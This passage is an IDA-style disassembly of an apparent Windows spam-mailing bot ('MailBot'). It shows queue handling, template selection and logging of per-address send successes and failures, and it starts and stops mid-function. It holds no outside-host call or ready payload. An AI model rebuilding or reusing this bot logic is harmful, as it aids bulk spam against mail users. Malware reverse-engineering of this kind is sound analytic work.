; ---------------------------------------------------------------------------
loc_4022E9: ; CODE XREF: sub_4020D3+210j
mov ecx, ebx
loc_4022EB: ; CODE XREF: sub_4020D3+214j
cmp eax, 10h
jb short loc_4022F2
mov ebx, [ebx]
loc_4022F2: ; CODE XREF: sub_4020D3+21Bj
sub ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
add ecx, [ebp+arg_8]
jmp short loc_40228D
; ---------------------------------------------------------------------------
loc_4022FD: ; CODE XREF: sub_4020D3+1CEj
cmp eax, 10h
jb short loc_402306
mov ecx, [ebx]
jmp short loc_402308
; ---------------------------------------------------------------------------
loc_402306: ; CODE XREF: sub_4020D3+22Dj
mov ecx, ebx
loc_402308: ; CODE XREF: sub_4020D3+231j
cmp eax, 10h
jb short loc_402314
mov edx, [ebx]
mov [ebp+arg_0], edx
jmp short loc_402317
; ---------------------------------------------------------------------------
loc_402314: ; CODE XREF: sub_4020D3+238j
mov [ebp+arg_0], ebx
loc_402317: ; CODE XREF: sub_4020D3+23Fj
push [ebp+var_4]
mov edx, [ebp+arg_4]
add ecx, edx
sub eax, esi
push ecx
push eax
mov eax, [ebp+arg_0]
add eax, esi
push eax
call sub_401049
mov eax, [edi+18h]
add esp, 10h
cmp eax, 10h
jb short loc_40233D
mov ecx, [ebx]
jmp short loc_40233F
; ---------------------------------------------------------------------------
loc_40233D: ; CODE XREF: sub_4020D3+264j
mov ecx, ebx
loc_40233F: ; CODE XREF: sub_4020D3+268j
cmp eax, 10h
jb short loc_40234B
mov edx, [ebx]
mov [ebp+arg_0], edx
jmp short loc_40234E
; ---------------------------------------------------------------------------
loc_40234B: ; CODE XREF: sub_4020D3+26Fj
mov [ebp+arg_0], ebx
loc_40234E: ; CODE XREF: sub_4020D3+276j
push [ebp+var_8]
sub eax, esi
sub eax, [ebp+arg_8]
add ecx, esi
add ecx, [ebp+var_4]
push ecx
push eax
mov eax, [ebp+arg_0]
add eax, esi
add eax, [ebp+arg_8]
push eax
call sub_401049
mov eax, [edi+18h]
add esp, 10h
cmp eax, 10h
jb short loc_40237A
mov ecx, [ebx]
jmp short loc_40237C
; ---------------------------------------------------------------------------
loc_40237A: ; CODE XREF: sub_4020D3+2A1j
mov ecx, ebx
loc_40237C: ; CODE XREF: sub_4020D3+2A5j
cmp eax, 10h
jb short loc_402383
mov ebx, [ebx]
loc_402383: ; CODE XREF: sub_4020D3+2ACj
mov edx, [ebp+arg_8]
sub edx, [ebp+var_4]
sub eax, esi
sub eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
add ecx, edx
add ecx, [ebp+arg_8]
add ebx, esi
add ebx, [ebp+var_4]
loc_40239C: ; CODE XREF: sub_4020D3+159j
; sub_4020D3+1C1j
push ecx
push eax
push ebx
call sub_401049
loc_4023A4: ; CODE XREF: sub_4020D3+EBj
add esp, 10h
push [ebp+var_C]
mov ecx, edi
call sub_401564
mov eax, edi
pop ebx
leave
retn 0Ch
sub_4020D3 endp
; =============== S U B R O U T I N E =======================================
sub_4023B8 proc near ; CODE XREF: sub_401F07+15p
mov eax, offset loc_41AF14
call sub_41AE44
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp-10h], esp
push 28h
mov edi, ecx
call sub_40DE68
and dword ptr [ebp-4], 0
mov esi, eax
test esi, esi
pop ecx
mov [ebp-14h], esi
jz short loc_4023E6
mov eax, [ebp+8]
mov [esi], eax
loc_4023E6: ; CODE XREF: sub_4023B8+27j
lea eax, [esi+4]
test eax, eax
jz short loc_4023F2
mov ecx, [ebp+0Ch]
mov [eax], ecx
loc_4023F2: ; CODE XREF: sub_4023B8+33j
lea eax, [esi+8]
test eax, eax
mov byte ptr [ebp-4], 1
jz short loc_40240D
mov ecx, [edi]
add edi, 4
mov [eax], ecx
push edi
lea ecx, [eax+4]
call sub_401C1E
loc_40240D: ; CODE XREF: sub_4023B8+43j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_4023B8 endp
; =============== S U B R O U T I N E =======================================
sub_402420 proc near ; DATA XREF: .vty:004201C4o
arg_0 = dword ptr 4
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_401919
mov dword ptr [esi], offset off_41C2A8
mov eax, esi
pop esi
retn 4
sub_402420 endp
; ---------------------------------------------------------------------------
loc_40244B: ; CODE XREF: .vty:0041B040j
mov dword ptr [ecx], offset off_41EB28
retn
; =============== S U B R O U T I N E =======================================
sub_402452 proc near ; CODE XREF: .vty:00402471p
push esi
push edi
mov esi, ecx
push 0
mov edi, offset off_41EB28
push 1
lea ecx, [esi+10h]
mov [esi], edi
call sub_4013C4
mov [esi], edi
pop edi
pop esi
retn
sub_402452 endp
; ---------------------------------------------------------------------------
loc_40246E: ; DATA XREF: .vty:off_41EB64o
push esi
mov esi, ecx
call sub_402452
test byte ptr [esp+8], 1
jz short loc_402484
push esi
call sub_40DD8A
pop ecx
loc_402484: ; CODE XREF: .vty:0040247Bj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40248A: ; DATA XREF: .vty:off_41EB28o
; .vty:off_41EB58o ...
test byte ptr [esp+4], 1
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41EB28
jz short loc_4024A1
push esi
call sub_40DD8A
pop ecx
loc_4024A1: ; CODE XREF: .vty:00402498j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4024A7 proc near ; CODE XREF: sub_402979+FBp
; sub_402BCF+39p ...
arg_4 = dword ptr 8
mov eax, offset loc_41B0D4
call sub_41AE44
test byte ptr dword_424E54, 1
push esi
mov esi, offset dword_424E58
jnz short loc_4024F9
or dword_424E54, 1
and [esp+4+arg_4], 0
call sub_401F7D
and dword_424E78, 0
push esi
mov dword_424E74, eax
mov dword_424E7C, 0C8h
call dword_41C068 ; InitializeCriticalSection
push offset loc_41B689
call sub_40DBC0
pop ecx
loc_4024F9: ; CODE XREF: sub_4024A7+17j
mov ecx, [esp+4]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn
sub_4024A7 endp
; =============== S U B R O U T I N E =======================================
sub_402509 proc near ; CODE XREF: sub_402E1F+18p
mov eax, offset loc_41B0BC
call sub_41AE44
push ecx
push ebx
push esi
push edi
mov edi, [ebp+8]
lea esi, [edi+4]
mov dword ptr [edi], offset off_41EB34
call sub_4012E2
xor ebx, ebx
lea esi, [edi+20h]
mov [ebp-4], ebx
call sub_4012E2
lea esi, [edi+3Ch]
call sub_4012E2
lea esi, [edi+58h]
call sub_4012E2
lea eax, [edi+7Ch]
mov [edi+78h], ebx
mov [eax+4], ebx
mov [eax+8], ebx
mov [eax+0Ch], ebx
mov byte ptr [ebp-4], 4
call sub_405A4E
mov [edi+90h], eax
mov [edi+94h], ebx
mov byte ptr [ebp-4], 5
call sub_405A4E
mov [edi+9Ch], eax
mov [edi+0A0h], ebx
lea eax, [edi+0A4h]
mov [eax+4], ebx
mov [eax+8], ebx
mov [eax+0Ch], ebx
mov [edi+0B4h], ebx
mov [edi+0D0h], edi
mov esi, dword_41C068
mov [edi+0DCh], ebx
lea eax, [edi+0E0h]
mov [eax+4], ebx
mov [eax+8], ebx
mov [eax+0Ch], ebx
lea eax, [edi+0F0h]
mov [eax+4], ebx
mov [eax+8], ebx
mov [eax+0Ch], ebx
mov [eax+10h], ebx
lea eax, [edi+0B8h]
push eax
call esi ; InitializeCriticalSection
lea eax, [edi+108h]
push eax
call esi ; InitializeCriticalSection
mov esi, dword_41C098
push ebx
push ebx
push ebx
push ebx
call esi ; CreateEventA
push ebx
push ebx
push 1
push ebx
mov [edi+0D8h], eax
call esi ; CreateEventA
mov ecx, [ebp-0Ch]
mov [edi+104h], eax
mov eax, edi
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_402509 endp
; =============== S U B R O U T I N E =======================================
sub_40260A proc near ; CODE XREF: .vty:00402E52p
; .vty:0041B66Bj
push ebx
push esi
push dword ptr [edi+104h]
mov esi, dword_41C0D4
mov dword ptr [edi], offset off_41EB34
call esi ; CloseHandle
push dword ptr [edi+0D8h]
call esi ; CloseHandle
mov esi, dword_41C0CC
lea eax, [edi+108h]
push eax
call esi ; RtlDeleteCriticalSection
lea eax, [edi+0B8h]
push eax
call esi ; RtlDeleteCriticalSection
lea esi, [edi+0F0h]
call sub_405D42
lea esi, [edi+0E4h]
mov eax, [esi]
xor ebx, ebx
cmp eax, ebx
jz short loc_402660
push eax
call sub_40DD8A
pop ecx
loc_402660: ; CODE XREF: sub_40260A+4Dj
mov [esi], ebx
lea esi, [edi+0D0h]
mov [edi+0E8h], ebx
mov [edi+0ECh], ebx
call sub_40B9E7
lea esi, [edi+0A4h]
call sub_405AAC
lea eax, [edi+98h]
call sub_40558B
lea eax, [edi+8Ch]
call sub_40558B
lea esi, [edi+7Ch]
call sub_405809
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [edi+58h]
call sub_4013C4
push ebx
push esi
lea ecx, [edi+3Ch]
call sub_4013C4
push ebx
push esi
lea ecx, [edi+20h]
call sub_4013C4
push ebx
push esi
lea ecx, [edi+4]
call sub_4013C4
pop esi
pop ebx
retn
sub_40260A endp
; =============== S U B R O U T I N E =======================================
sub_4026D0 proc near ; CODE XREF: sub_40D6C9+Cp
var_4 = dword ptr -4
push ecx
push ebx
lea ebx, [esi+108h]
push edi
mov edi, dword_41C070
mov [esp+0Ch+var_4], ebx
jmp short loc_402706
; ---------------------------------------------------------------------------
loc_4026E5: ; CODE XREF: sub_4026D0+40j
push dword ptr [esi+104h]
call dword_41C0B4 ; ResetEvent
push ebx
call dword_41C06C ; RtlLeaveCriticalSection
push 0FFFFFFFFh
push dword ptr [esi+104h]
call dword_41C084 ; WaitForSingleObject
loc_402706: ; CODE XREF: sub_4026D0+13j
push ebx
call edi ; RtlEnterCriticalSection
cmp dword ptr [esi+100h], 0
jz short loc_4026E5
mov eax, [esi+100h]
push ebp
mov ebp, [esi+0FCh]
add eax, ebp
cmp ebp, eax
jbe short loc_40272A
call sub_40DCFC
loc_40272A: ; CODE XREF: sub_4026D0+53j
mov eax, [esi+100h]
add eax, [esi+0FCh]
mov edi, ebp
mov ebx, ebp
shr edi, 2
and ebx, 3
cmp ebp, eax
pop ebp
jb short loc_40274A
call sub_40DCFC
loc_40274A: ; CODE XREF: sub_4026D0+73j
mov eax, [esi+0F8h]
cmp eax, edi
ja short loc_402756
sub edi, eax
loc_402756: ; CODE XREF: sub_4026D0+82j
mov eax, [esi+0F4h]
mov eax, [eax+edi*4]
mov ebx, [eax+ebx*4]
mov eax, [esi+100h]
test eax, eax
jz short loc_40279C
inc dword ptr [esi+0FCh]
mov edx, [esi+0F8h]
mov ecx, [esi+0FCh]
shl edx, 2
cmp edx, ecx
ja short loc_40278C
and dword ptr [esi+0FCh], 0
loc_40278C: ; CODE XREF: sub_4026D0+B3j
dec eax
mov [esi+100h], eax
jnz short loc_40279C
and dword ptr [esi+0FCh], 0
loc_40279C: ; CODE XREF: sub_4026D0+9Aj
; sub_4026D0+C3j
push dword ptr [esp+8]
inc dword ptr [esi+0DCh]
call dword_41C06C ; RtlLeaveCriticalSection
pop edi
mov eax, ebx
pop ebx
pop ecx
retn
sub_4026D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027B2 proc near ; CODE XREF: sub_407E77+2Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, eax
lea edi, [esi+0B8h]
push edi
call dword_41C070 ; RtlEnterCriticalSection
mov ecx, [ebp+arg_0]
add esi, 58h
push esi
call sub_401C1E
push edi
call dword_41C06C ; RtlLeaveCriticalSection
mov eax, [ebp+arg_0]
pop edi
pop esi
leave
retn 4
sub_4027B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027E7 proc near ; CODE XREF: sub_407784+8Cp
; sub_407784+15Dp ...
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
lea eax, [edi+0B8h]
push esi
push eax
mov [ebp+var_14], eax
call dword_41C070 ; RtlEnterCriticalSection
mov esi, [edi+78h]
mov ebx, [esi]
call sub_40FA86
mov ecx, [esi+4]
sub ecx, ebx
xor edx, edx
inc ecx
div ecx
and [ebp+var_8], 0
add edx, ebx
test edx, edx
mov [ebp+var_10], edx
jle loc_4028F2
loc_402824: ; CODE XREF: sub_4027E7+105j
mov esi, [ebp+arg_4]
call sub_406402
mov ebx, eax
mov eax, [ebx+24h]
add ebx, 1Ch
cmp [ebx+4], eax
mov [ebp+var_C], eax
jbe short loc_402841
call sub_40DCFC
loc_402841: ; CODE XREF: sub_4027E7+53j
call sub_406402
mov esi, eax
add esi, 2Ch
mov eax, [esi]
test eax, eax
jz short loc_402855
cmp eax, ebx
jz short loc_40285A
loc_402855: ; CODE XREF: sub_4027E7+68j
call sub_40DCFC
loc_40285A: ; CODE XREF: sub_4027E7+6Cj
mov eax, [ebp+var_C]
cmp [esi+4], eax
jz loc_4028F2
mov esi, [ebp+arg_4]
call sub_406402
lea esi, [eax+2Ch]
call sub_409835
mov esi, [ebp+arg_0]
mov ebx, eax
mov eax, [esi+4]
test eax, eax
mov [ebp+var_C], ebx
jnz short loc_402889
xor edx, edx
jmp short loc_402891
; ---------------------------------------------------------------------------
loc_402889: ; CODE XREF: sub_4027E7+9Cj
mov edx, [esi+8]
sub edx, eax
sar edx, 2
loc_402891: ; CODE XREF: sub_4027E7+A0j
test eax, eax
jz short loc_4028AE
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp edx, ecx
jnb short loc_4028AE
mov eax, [esi+8]
mov [eax], ebx
add eax, 4
mov [esi+8], eax
jmp short loc_4028CB
; ---------------------------------------------------------------------------
loc_4028AE: ; CODE XREF: sub_4027E7+ACj
; sub_4027E7+B8j
mov ebx, [esi+8]
cmp eax, ebx
jbe short loc_4028BA
call sub_40DCFC
loc_4028BA: ; CODE XREF: sub_4027E7+CCj
push ebx
push esi
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_1C]
push eax
mov eax, esi
call sub_405DB3
loc_4028CB: ; CODE XREF: sub_4027E7+C5j
dec dword ptr [edi+0B4h]
mov esi, [ebp+arg_4]
inc [ebp+var_8]
call sub_406402
mov esi, eax
add esi, 2Ch
call sub_40556B
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jl loc_402824
loc_4028F2: ; CODE XREF: sub_4027E7+37j
; sub_4027E7+79j
mov eax, [edi+78h]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_8]
push [ebp+var_14]
mov [ecx], eax
call dword_41C06C ; RtlLeaveCriticalSection
mov eax, [ebp+var_8]
pop esi
pop ebx
leave
retn 0Ch
sub_4027E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40290F proc near ; CODE XREF: sub_407784+177p
; sub_407C9A+18Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov edi, eax
mov eax, [edi]
mov [ebp+var_C], eax
mov eax, [edi+4]
mov [ebp+var_8], eax
lea eax, [ebx+0B8h]
push eax
mov [ebp+var_4], eax
call dword_41C070 ; RtlEnterCriticalSection
mov esi, edi
call sub_406402
add eax, 34h
dec dword ptr [eax]
jnz short loc_40296C
lea esi, [ebp+var_C]
call sub_405D8F
push [ebp+var_8]
lea eax, [ebx+98h]
push [ebp+var_C]
mov ecx, [eax+4]
push dword ptr [edi+4]
push dword ptr [edi]
lea edi, [ebx+8Ch]
push ecx
push eax
push eax
call sub_4055EA
loc_40296C: ; CODE XREF: sub_40290F+31j
push [ebp+var_4]
call dword_41C06C ; RtlLeaveCriticalSection
pop edi
pop esi
leave
retn
sub_40290F endp
; =============== S U B R O U T I N E =======================================
sub_402979 proc near ; CODE XREF: sub_407784+B8p
; sub_407C9A+BCp
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 20h
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push ebx
lea ecx, [ebp-2Ch]
mov dword ptr [ebp-14h], 0Fh
call sub_401564
lea eax, [edi+0B8h]
push eax
mov [ebp-4], ebx
mov [ebp-10h], eax
call dword_41C070 ; RtlEnterCriticalSection
push 0FFFFFFFFh
push ebx
lea eax, [edi+3Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_401315
cmp [ebp-18h], ebx
jz short loc_4029CC
mov eax, [edi+78h]
cmp [eax+18h], bl
jz short loc_402A1A
loc_4029CC: ; CODE XREF: sub_402979+49j
lea esi, [edi+0A4h]
mov eax, esi
call sub_4057B6
test eax, eax
jz short loc_402A1A
mov eax, esi
call sub_4057B6
mov esi, eax
call sub_40FA86
xor edx, edx
div esi
lea eax, [edi+0A4h]
mov esi, edx
call sub_4057B6
cmp esi, eax
jb short loc_402A05
call sub_40DCFC
loc_402A05: ; CODE XREF: sub_402979+85j
imul esi, 1Ch
add esi, [edi+0A8h]
push 0FFFFFFFFh
push ebx
push esi
lea ecx, [ebp-2Ch]
call sub_401315
loc_402A1A: ; CODE XREF: sub_402979+51j
; sub_402979+62j
lea esi, [edi+7Ch]
mov eax, esi
call sub_4058AA
test eax, eax
jz short loc_402A66
cmp [ebp-18h], ebx
jz short loc_402A66
push dword ptr [ebp+14h]
lea eax, [ebp-2Ch]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
push dword ptr [ebp+8]
mov eax, esi
call sub_4058AA
mov edi, eax
call sub_40FA86
xor edx, edx
div edi
push edx
call sub_4058C0
push eax
call sub_408593
push dword ptr [ebp-10h]
call dword_41C06C ; RtlLeaveCriticalSection
jmp short loc_402A84
; ---------------------------------------------------------------------------
loc_402A66: ; CODE XREF: sub_402979+ADj
; sub_402979+B2j
push dword ptr [ebp-10h]
call dword_41C06C ; RtlLeaveCriticalSection
push offset aMailbotGetmess ; "MailBot::getMessage: no templates or no"...
call sub_4024A7
push eax
push 2
pop ecx
call sub_40195C
pop ecx
pop ecx
loc_402A84: ; CODE XREF: sub_402979+EBj
push ebx
push 1
lea ecx, [ebp-2Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_402979 endp
; =============== S U B R O U T I N E =======================================
sub_402AA0 proc near ; CODE XREF: sub_40B49B+CDp
mov eax, offset loc_41B045
call sub_41AE44
sub esp, 1Ch
push ebx
push esi
mov esi, dword_41C070
lea ebx, [edi+0B8h]
push ebx
call esi ; RtlEnterCriticalSection
mov eax, [edi+78h]
mov eax, [eax+10h]
push ebx
mov [ebp-18h], eax
call dword_41C06C ; RtlLeaveCriticalSection
lea eax, [edi+108h]
push eax
mov [ebp-20h], eax
call esi ; RtlEnterCriticalSection
mov esi, [ebp+8]
call sub_406402
mov esi, [ebp+0Ch]
and dword ptr [ebp-14h], 0
add eax, 34h
dec dword ptr [eax]
mov ebx, [esi+4]
cmp ebx, [esi+8]
jbe short loc_402AFB
call sub_40DCFC
loc_402AFB: ; CODE XREF: sub_402AA0+54j
mov [ebp-28h], esi
mov [ebp-24h], ebx
loc_402B01: ; CODE XREF: sub_402AA0+105j
mov ebx, [esi+8]
cmp [esi+4], ebx
jbe short loc_402B0E
call sub_40DCFC
loc_402B0E: ; CODE XREF: sub_402AA0+67j
cmp [ebp-24h], ebx
jz loc_402BAA
mov eax, [ebp-14h]
cmp eax, [ebp-18h]
jnb loc_402BAA
mov esi, [ebp+8]
call sub_406402
add eax, 34h
inc dword ptr [eax]
push 2Ch
call sub_40DE68
mov ebx, eax
pop ecx
mov [ebp-1Ch], ebx
and dword ptr [ebp-4], 0
test ebx, ebx
jz short loc_402B73
lea esi, [ebp-28h]
call sub_409835
mov [ebx+4], edi
mov ecx, [ebp+8]
mov byte ptr [ebp-4], 1
mov dword ptr [ebx], offset off_41EB64
mov edx, [ecx]
mov [ebx+8], edx
mov ecx, [ecx+4]
mov [ebx+0Ch], ecx
push eax
lea ecx, [ebx+10h]
call sub_401C1E
jmp short loc_402B75
; ---------------------------------------------------------------------------
loc_402B73: ; CODE XREF: sub_402AA0+A3j
xor ebx, ebx
loc_402B75: ; CODE XREF: sub_402AA0+D1j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-1Ch]
push eax
lea eax, [edi+0F0h]
mov [ebp-1Ch], ebx
call sub_4058F2
mov eax, [ebp+0Ch]
mov ecx, [ebp-24h]
cmp ecx, [eax+8]
jb short loc_402B9B
call sub_40DCFC
loc_402B9B: ; CODE XREF: sub_402AA0+F4j
add dword ptr [ebp-24h], 1Ch
inc dword ptr [ebp-14h]
mov esi, [ebp+0Ch]
jmp loc_402B01
; ---------------------------------------------------------------------------
loc_402BAA: ; CODE XREF: sub_402AA0+71j
; sub_402AA0+7Dj
push dword ptr [edi+104h]
call dword_41C088 ; SetEvent
push dword ptr [ebp-20h]
call dword_41C06C ; RtlLeaveCriticalSection
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_402AA0 endp
; =============== S U B R O U T I N E =======================================
sub_402BCF proc near ; CODE XREF: sub_407784+124p
mov eax, offset loc_41B2BE
call sub_41AE44
sub esp, 40h
push ebx
xor ebx, ebx
cmp [edi+58h], bl
push esi
jz short loc_402C22
cmp dword ptr [edi+34h], 10h
jb short loc_402BF0
mov ecx, [edi+20h]
jmp short loc_402BF3
; ---------------------------------------------------------------------------
loc_402BF0: ; CODE XREF: sub_402BCF+1Aj
lea ecx, [edi+20h]
loc_402BF3: ; CODE XREF: sub_402BCF+1Fj
cmp dword ptr [edi+18h], 10h
jb short loc_402BFE
mov eax, [edi+4]
jmp short loc_402C01
; ---------------------------------------------------------------------------
loc_402BFE: ; CODE XREF: sub_402BCF+28j
lea eax, [edi+4]
loc_402C01: ; CODE XREF: sub_402BCF+2Dj
push ecx
push eax
push offset aSuccS@S ; "succ: %s@%s\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
add esp, 10h
mov byte ptr [edi+59h], 3
jmp loc_402E0F
; ---------------------------------------------------------------------------
loc_402C22: ; CODE XREF: sub_402BCF+14j
cmp dword ptr [edi+54h], 0FFFFFFFFh
jnz short loc_402C65
cmp dword ptr [edi+34h], 10h
jb short loc_402C33
mov ecx, [edi+20h]
jmp short loc_402C36
; ---------------------------------------------------------------------------
loc_402C33: ; CODE XREF: sub_402BCF+5Dj
lea ecx, [edi+20h]
loc_402C36: ; CODE XREF: sub_402BCF+62j
cmp dword ptr [edi+18h], 10h
jb short loc_402C41
mov eax, [edi+4]
jmp short loc_402C44
; ---------------------------------------------------------------------------
loc_402C41: ; CODE XREF: sub_402BCF+6Bj
lea eax, [edi+4]
loc_402C44: ; CODE XREF: sub_402BCF+70j
push ecx
push eax
push offset aUnlkS@SConnect ; "unlk: %s@%s (connection error)\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
add esp, 10h
mov byte ptr [edi+59h], 2
jmp loc_402E0F
; ---------------------------------------------------------------------------
loc_402C65: ; CODE XREF: sub_402BCF+57j
push ebx
lea ecx, [ebp-48h]
mov dword ptr [ebp-30h], 0Fh
call sub_401564
mov [ebp-4], ebx
mov eax, [edi+4Ch]
cmp eax, [ebp-34h]
ja short loc_402C8D
push 0FFFFFFFFh
push eax
lea ecx, [ebp-48h]
call sub_4014F5
jmp short loc_402C9B
; ---------------------------------------------------------------------------
loc_402C8D: ; CODE XREF: sub_402BCF+AFj
push ebx
mov ebx, eax
sub ebx, [ebp-34h]
lea esi, [ebp-48h]
call sub_40140F
loc_402C9B: ; CODE XREF: sub_402BCF+BCj
lea eax, [ebp-14h]
lea ecx, [ebp-48h]
call sub_405472
mov esi, eax
lea ecx, [edi+38h]
lea eax, [ebp-1Ch]
call sub_405492
mov ebx, eax
lea eax, [ebp-24h]
lea ecx, [edi+38h]
call sub_405472
push dword ptr [esi+4]
push dword ptr [esi]
push dword ptr [ebx+4]
push dword ptr [ebx]
lea ebx, [ebp-2Ch]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_406A1C
mov eax, [ebp+8]
mov esi, [eax+78h]
mov ebx, [esi+20h]
add esi, 1Ch
add esp, 18h
cmp ebx, [esi+8]
jbe short loc_402CF0
call sub_40DCFC
loc_402CF0: ; CODE XREF: sub_402BCF+11Aj
mov [ebp-14h], esi
mov [ebp-10h], ebx
loc_402CF6: ; CODE XREF: sub_402BCF+1A0j
mov eax, [ebp+8]
mov esi, [eax+78h]
mov ebx, [esi+24h]
add esi, 1Ch
cmp [esi+4], ebx
jbe short loc_402D0C
call sub_40DCFC
loc_402D0C: ; CODE XREF: sub_402BCF+136j
cmp dword ptr [ebp-14h], 0
jz short loc_402D17
cmp [ebp-14h], esi
jz short loc_402D1C
loc_402D17: ; CODE XREF: sub_402BCF+141j
call sub_40DCFC
loc_402D1C: ; CODE XREF: sub_402BCF+146j
cmp [ebp-10h], ebx
jz loc_402DBC
lea esi, [ebp-14h]
call sub_409835
mov ecx, [eax+14h]
push 10h
pop ebx
cmp [eax+18h], ebx
jb short loc_402D3D
mov eax, [eax+4]
jmp short loc_402D40
; ---------------------------------------------------------------------------
loc_402D3D: ; CODE XREF: sub_402BCF+167j
add eax, 4
loc_402D40: ; CODE XREF: sub_402BCF+16Cj
push ecx
push eax
lea eax, [ebp-48h]
push eax
xor eax, eax
call sub_401E6B
cmp eax, 0FFFFFFFFh
jnz short loc_402D71
mov esi, [ebp-14h]
test esi, esi
jnz short loc_402D5E
call sub_40DCFC
loc_402D5E: ; CODE XREF: sub_402BCF+188j
mov eax, [ebp-10h]
cmp eax, [esi+8]
jb short loc_402D6B
call sub_40DCFC
loc_402D6B: ; CODE XREF: sub_402BCF+195j
add dword ptr [ebp-10h], 1Ch
jmp short loc_402CF6
; ---------------------------------------------------------------------------
loc_402D71: ; CODE XREF: sub_402BCF+181j
lea esi, [ebp-14h]
call sub_409835
cmp [eax+18h], ebx
jb short loc_402D83
mov eax, [eax+4]
jmp short loc_402D86
; ---------------------------------------------------------------------------
loc_402D83: ; CODE XREF: sub_402BCF+1ADj
add eax, 4
loc_402D86: ; CODE XREF: sub_402BCF+1B2j
cmp [edi+34h], ebx
jb short loc_402D90
mov edx, [edi+20h]
jmp short loc_402D93
; ---------------------------------------------------------------------------
loc_402D90: ; CODE XREF: sub_402BCF+1BAj
lea edx, [edi+20h]
loc_402D93: ; CODE XREF: sub_402BCF+1BFj
cmp [edi+18h], ebx
jb short loc_402D9D
mov ecx, [edi+4]
jmp short loc_402DA0
; ---------------------------------------------------------------------------
loc_402D9D: ; CODE XREF: sub_402BCF+1C7j
lea ecx, [edi+4]
loc_402DA0: ; CODE XREF: sub_402BCF+1CCj
push eax
push edx
push ecx
push offset aFailS@SMatched ; "fail: %s@%s matched string '%s'\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
mov byte ptr [edi+59h], 1
jmp short loc_402E00
; ---------------------------------------------------------------------------
loc_402DBC: ; CODE XREF: sub_402BCF+150j
cmp dword ptr [edi+50h], 10h
jb short loc_402DC7
mov edx, [edi+3Ch]
jmp short loc_402DCA
; ---------------------------------------------------------------------------
loc_402DC7: ; CODE XREF: sub_402BCF+1F1j
lea edx, [edi+3Ch]
loc_402DCA: ; CODE XREF: sub_402BCF+1F6j
cmp dword ptr [edi+34h], 10h
jb short loc_402DD5
mov ecx, [edi+20h]
jmp short loc_402DD8
; ---------------------------------------------------------------------------
loc_402DD5: ; CODE XREF: sub_402BCF+1FFj
lea ecx, [edi+20h]
loc_402DD8: ; CODE XREF: sub_402BCF+204j
cmp dword ptr [edi+18h], 10h
jb short loc_402DE3
mov eax, [edi+4]
jmp short loc_402DE6
; ---------------------------------------------------------------------------
loc_402DE3: ; CODE XREF: sub_402BCF+20Dj
lea eax, [edi+4]
loc_402DE6: ; CODE XREF: sub_402BCF+212j
push edx
push ecx
push eax
push offset aUnlkS@SS ; "unlk: %s@%s (%s)\n"
call sub_4024A7
push eax
push 5
pop ecx
call sub_40195C
mov byte ptr [edi+59h], 0
loc_402E00: ; CODE XREF: sub_402BCF+1EBj
add esp, 14h
push 0
push 1
lea ecx, [ebp-48h]
call sub_4013C4
loc_402E0F: ; CODE XREF: sub_402BCF+4Ej
; sub_402BCF+91j
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_402BCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_402E1F proc near ; CODE XREF: sub_4080EE+65p
mov eax, offset loc_41B670
call sub_41AE44
sub esp, 128h
push edi
lea eax, [ebp-134h]
push eax
call sub_402509
and dword ptr [ebp-4], 0
lea eax, [ebp-134h]
push eax
call sub_405089
sub_402E1F endp
; ---------------------------------------------------------------------------
lea edi, [ebp-134h]
call sub_40260A
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop edi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_402E64 proc near ; CODE XREF: sub_402F64+114p
mov eax, offset loc_41B029
call sub_41AE44
sub esp, 48h
push ebx
push esi
push edi
xor ebx, ebx
push ebx
lea ecx, [ebp-38h]
mov [ebp-10h], ebx
mov dword ptr [ebp-20h], 0Fh
call sub_401564
or esi, 0FFFFFFFFh
mov [ebp-4], ebx
mov [ebp-14h], esi
